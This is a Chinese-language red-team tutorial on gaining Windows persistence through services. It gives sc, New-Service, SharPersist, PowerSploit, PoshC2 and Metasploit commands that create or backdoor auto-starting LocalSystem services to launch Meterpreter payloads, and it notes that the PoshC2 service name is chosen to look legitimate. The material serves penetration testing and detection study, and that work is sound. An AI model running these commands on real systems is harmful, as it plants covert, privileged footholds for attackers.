如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。然而,在红队的行动中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应建立SOC能力,以识别在其恶意软件中使用基本技术的威胁。
命令行实现
如果帐户具有本地管理员特权,则可以从命令提示符创建服务。参数“ binpath ”用于执行任意有效负载,而参数“ auto ”用于确保恶意服务将自动启动。
代码语言:javascript复制sc create pentestlab binpath= "cmd.exe /k C:temppentestlab.exe" start="auto" obj="LocalSystem"sc start pentestlab
或者,可以直接从PowerShell创建新服务。
代码语言:javascript复制New-Service -Name "pentestlab" -BinaryPathName "C:temppentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic
sc start pentestlab
在两种情况下,启动服务时都会打开Meterpreter会话。
SharPersist
SharPersist支持在受感染系统中创建新服务的持久性技术。在系统上安装新服务需要提升的访问权限(本地管理员)。以下命令可用于添加新服务,该服务将在Windows启动期间作为本地系统执行任意有效负载。
代码语言:javascript复制SharPersist -t service -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -n "pentestlab" -m add
Meterpreter会话将再次建立,或者与任何其他能够与有效负载进行通信的命令和控制框架建立连接。
PowerSploit
PowerSploit可用于对合法服务进行后门程序以实现持久性。可以利用两个PowerShell函数来修改现有服务的二进制路径,或者从先前手动创建的自定义服务中修改二进制路径,以执行任意有效负载。
代码语言:javascript复制Set-ServiceBinPath -Name pentestlab -binPath "cmd.exe /k C:temppentestlab.exe"Write-ServiceBinary -Name pentestlab -Command "cmd.exe /k C:temppentestlab.exe"
PoshC2
PoshC2还具有创建新服务作为持久性技术的能力。但是,将执行base-64 PowerShell负载,而不是任意可执行文件。从植入物处理机,以下模块将自动执行该技术。
代码语言:javascript复制install-servicelevel-persistence
PoshC2将自动生成有效负载,并且该命令将在目标系统上执行以创建新服务。
该服务将自动启动,并具有名称“ CheckpointServiceUpdater ”,以使其看起来合法。
Metasploit
Metasploit框架具有一个后开发模块,该模块支持两种持久性技术。
- 注册表运行键
- 新服务
需要将启动变量修改为SERVICE,以便在系统上安装新服务。
代码语言:javascript复制use post/windows/manage/persistence_exe
set REXEPATH /tmp/pentestlab.exe
set SESSION 1set STARTUP SERVICE
set LOCALEXEPATH C:\tmp
run
需要Metasploit多重/处理程序模块来捕获有效负载并与受感染的主机建立Meterpreter会话。